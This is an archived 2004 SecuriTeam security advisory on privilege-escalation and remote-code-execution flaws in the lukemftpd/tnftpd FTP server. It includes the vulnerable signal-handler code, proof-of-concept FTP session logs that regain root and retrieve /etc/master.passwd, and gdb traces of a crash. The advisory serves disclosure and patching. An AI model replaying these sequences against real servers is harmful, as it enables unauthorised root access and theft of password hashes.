

# [UNIX] Lukemftpd (Tnftpd) Multiple Vulnerabilities May Lead To Remote Code Execution

*Source:* <http://www.derkeiler.com/Mailing-Lists/Securiteam/2004-08/0079.html>

---

*From:* SecuriTeam ([support\\_at\\_securiteam.com](mailto:support_at_securiteam.com))

*Date:* 08/25/04

To: [list@securiteam.com](mailto:list@securiteam.com)

Date: 25 Aug 2004 16:37:15 +0200

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: <http://www.securiteam.com>

-- promotion

The SecuriTeam alerts list – Free, Accurate, Independent.

Get your security news from a reliable source.

<http://www.securiteam.com/maillinglist.html>

-----  
Lukemftpd (Tnftpd) Multiple Vulnerabilities May Lead To Remote Code Execution  
-----

## SUMMARY

<<http://freshmeat.net/projects/tnftpd>> lukemftpd (also known as tnftpd) is "a popular ftp server, shipped with NetBSD, FreeBSD, MacOS X and packaged with some Linux distributions. On NetBSD and MacOS X it is used as default ftp server".

Under certain conditions it is possible for an attacker to execute arbitrary code on the target machine with superuser privileges.

## DETAILS

### Vulnerable Systems:

\* Lukemftpd (tnftpd) versions 20030122 and prior

### Immune Systems:

\* Lukemftpd (tnftpd) version 20040810

The reworked tnftpd daemon handles OOB commands from within ftpcmd.y (YACC). That involved changing the YACC syntax to be line-oriented, rather

## Securiteam: [UNIX] Lukemftpd (Tnftpd) Multiple Vulnerabilities May Lead To Remote Code Execution

than having it run against the entire input at once, and adding a flag to structure tab to indicate if it's acceptable for a command to occur in OOB mode.

The original BSD4.4 FTP daemon as well as the one in FreeBSD only allows delivering of ABOR and STAT commands in OOB mode. The code of the signal handler in tnftpd is written to reenter the command parser after a SIGURG has been received:

```
static void myoob(int signo)
{
    char *cp;

    /* only process if transfer occurring */
    if (!transflag)
        return;
    cp = tmpline;
    if (getline(cp, sizeof(tmpline), stdin) == NULL) {
        reply(221, "You could at least say goodbye.");
        dologout(0);
    }
    is_oob = 1;
    ftp_handle_line(cp);
    is_oob = 0;
}
```

This constitutes the first condition that will later be used in explaining the vulnerabilities.

If a file transfer gets interrupted and the issued command is any other than ABOR, the 'transflag' flag remains set because only abor() performs a longjmp to urgcatch, which will clear it. This bug makes it possible to interrupt any command with SIGURG. A proof of concept example, re-logging with USER/PASS after interrupting STOR:

```
Connected to 1.1.1.1. Trying to log in.
<-- 220 x FTP server (NetBSD-ftp 20030122) ready.
--> USER x
<-- 331 Password required for x.
--> PASS x
<-- 230-
<-- FreeBSD 4.9-STABLE (RIGET) #0: Sun Feb 22 14:03:30 CET 2004
<--
<-- 230 User x logged in.
Logged in, starting dummy transfer.
--> PORT 1,1,1,1,66,199
<-- 200 PORT command successful.
--> STOR 31337
<-- 150 Opening ASCII mode data connection for '31337'.
--> USER x
--> USER x
<-- 331 Password required for x.
--> PASS x
<-- 230-
```

## Securiteam: [UNIX] Lukemftpd (Tnftpd) Multiple Vulnerabilities May Lead To Remote Code Execution

```
<-- FreeBSD 4.9-STABLE (RIGET) #0: Sun Feb 22 14:03:30 CET 2004
<--
<-- 230 User x logged in.
Ok, relogged with transflag = 1
```

```
(gdb) att 16120
(gdb) print transflag
$1 = 1
```

In this situation, the session context is indeed clear but the 'transflag' is still set. This in turn opens up the avenues of attack. Issuing USER command while already logged in, clears the session context and does seteuid(0). After calling PASS command, the following pseudo code is executed:

```
{
    if (check_password(pass) == 1) {
        logged_in = 1;
        count_users();
        syslog();
        ...
        seteuid(user);
    }
}
```

Delivering SIGURG between setting the logged\_in flag and doing seteuid(user) takes ftpd back to the command parser with euid=0, as shown by the previous issues.

### Demonstration:

```
Connected to 1.1.1.1. Trying to log in.
<-- 220 x FTP server (NetBSD-ftpd 20030122) ready.
--> USER x
<-- 331 Password required for x.
--> PASS x
<-- 230-
<-- FreeBSD 4.9-STABLE (RIGET) #0: Sun Feb 22 14:03:30 CET 2004
<--
<-- 230 User x logged in.
Logged in, starting dummy transfer.
--> PORT 1,1,1,1,148,252
<-- 200 PORT command successful.
--> STOR 31337
<-- 150 Opening ASCII mode data connection for '31337'.
--> USER x
--> USER x
<-- 331 Password required for x.
--> PASS x
<-- 230-
<-- FreeBSD 4.9-STABLE (RIGET) #0: Sun Feb 22 14:03:30 CET 2004
<--
<-- 230 User x logged in.
```

## Securiteam: [UNIX] Lukemftpd (Tnftpd) Multiple Vulnerabilities May Lead To Remote Code Execution

```
Ok, relogged with transflag = 1
--> USER x
<-- 331 Password required for x.
ftpd has euid=0 now, entering time critical section
-->
```

```
CWD /
<-- 500 ": command not understood.
250 CWD command successful.
CWD /etc
250 CWD command successful.
RETR master.passwd
125 Using existing data connection for 'master.passwd' (1177 bytes).
226 Transfer complete.
```

This bug is exploitable only when Lukemftpd runs without the `-r` flag and the attacker has access to an account in REAL class.

Another issue is regarding reentrancy. Many instances of `syslog()`, `malloc()`, `free()` are used in `ftpd` code. Those functions, as well as many others are NOT reentrant. By delivering a signal when `malloc()`, `free()` or any other libcall of this kind is being called, all subsequent calls to the heap management routines made from signal handler would have unpredictable effect, as heap state is completely unpredictable for the programmer.

Unlike the previous vulnerabilities, any user, even anonymous, can exploit this one giving remote root shell. Of course, running Lukemftpd with `-r` prevents any attacker from getting superuser privileges (effective `ui=0`).

Yet there are more issues, one of which is that the `longjmp()` in `abor()` returns to the stack when ABORTing other commands other than `RETR/STOR`. The vulnerability can also be used to gain remote root shell. The problem is that `abor()` assumes that `urgcatch jmpbuf` is initialized, but according to the `setjmp(3)`, "The `longjmp()` routines may not be called after the routine which called the `setjmp()` routines returns."

This last behavior seems to be specific to BSD variants of UNIX, since it does not occur on Linux.

Example:

```
Connected to 1.1.1.1. Trying to log in.
<-- 220 x FTP server (NetBSD-ftp 20030122) ready.
--> USER x
<-- 331 Password required for x.
--> PASS x
<-- 230-
<-- FreeBSD 4.9-STABLE (RIGET) #0: Sun Feb 22 14:03:30 CET 2004
<--
<-- 230 User x logged in.
Logged in, starting dummy transfer.
```

## Securiteam: [UNIX] Lukemftpd (Tnftpd) Multiple Vulnerabilities May Lead To Remote Code Execution

```
--> PORT 1,1,1,1,205,38
<-- 200 PORT command successful.
--> STOR 31337
<-- 150 Opening ASCII mode data connection for '31337'.
--> USER x
--> USER x
<-- 331 Password required for x.
--> PASS x
<-- 230-
<-- FreeBSD 4.9-STABLE (RIGET) #0: Sun Feb 22 14:03:30 CET 2004
<--
<-- 230 User x logged in.
Ok, relogged with transflag = 1
--> ABOR
--> ABOR
426 Transfer aborted. Data connection closed.
226 Abort successful
[segfault here]
```

```
(gdb) b abor
Breakpoint 1 at 0x8053ca6: file
/usr/src/libexec/lukemftpd/../../contrib/lukemftpd/src/ftpd.c, line 2531.
(gdb) cont
Continuing.
```

```
Breakpoint 1, abor ()
  at /usr/src/libexec/lukemftpd/../../contrib/lukemftpd/src/ftpd.c:2531
2531 tmline[0] = '\0';
(gdb) bt
#0 abor ()
  at /usr/src/libexec/lukemftpd/../../contrib/lukemftpd/src/ftpd.c:2531
#1 0x8056d2e in yyparse ()
  at /usr/src/libexec/lukemftpd/../../contrib/lukemftpd/src/ftpcmd.y:475
#2 0x805545f in ftp_handle_line (cp=0x8063c40 "ABOR\n")
  at
/usr/src/libexec/lukemftpd/../../contrib/lukemftpd/src/ftpcmd.y:1470
#3 0x8053e06 in myoob (signo=16)
  at /usr/src/libexec/lukemftpd/../../contrib/lukemftpd/src/ftpd.c:2568
#4 0xbfbfffac in ()
#5 0x4813a3ab in __srefill () from /usr/lib/libc.so.4
#6 0x4813a24f in __srget () from /usr/lib/libc.so.4
#7 0x80552fd in getline (s=0x8064780 "PASS x\n", n=511, iop=0x48156f00)
  at
/usr/src/libexec/lukemftpd/../../contrib/lukemftpd/src/ftpcmd.y:1425
#8 0x80554a4 in ftp_loop ()
  at
/usr/src/libexec/lukemftpd/../../contrib/lukemftpd/src/ftpcmd.y:1480
#9 0x804fcae in main (argc=1, argv=0xbfbffaec)
  at /usr/src/libexec/lukemftpd/../../contrib/lukemftpd/src/ftpd.c:569
#10 0x804ae35 in _start ()
[notice that send_data() has already returned before ABOR]
```

## Securiteam: [UNIX] Lukemftpd (Tnftpd) Multiple Vulnerabilities May Lead To Remote Code Execution

```
(gdb) n
2532 is_oob = 0;
(gdb) n
2533 reply(426, "Transfer aborted. Data connection closed.");
(gdb) n
2534 reply(226, "Abort successful");
(gdb) n
2535 longjmp(urcatch, 1);
(gdb) n
```

Program received signal SIGSEGV, Segmentation fault.

0xbfbff9a8 in ()

(gdb) x/x 0xbfbff9a8

0xbfbff9a8: 0x48156f00

Many problems related to signal handling are described in  
<<http://lcamtuf.coredump.cx/signals.txt>> "Delivering Signals for Fun and Profit" by Michal Zalewski.

### Patch Availability:

All of these vulnerabilities have been recently fixed in the CVS source tree. Users of this very common FTP server are highly encouraged to upgrade to the latest version, made publicly available recently.

### ADDITIONAL INFORMATION

The information has been provided by <<mailto:englin@freebsd.lublin.pl>>  
Przemyslaw Frasunek.

=====

This bulletin is sent to members of the SecuriTeam mailing list.

To unsubscribe from the list, send mail with an empty subject line and body to:

[list-unsubscribe@securiteam.com](mailto:list-unsubscribe@securiteam.com)

In order to subscribe to the mailing list, simply forward this email to: [list-subscribe@securiteam.com](mailto:list-subscribe@securiteam.com)

=====

=====

### DISCLAIMER:

The information in this bulletin is provided "AS IS" without warranty of any kind.

In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.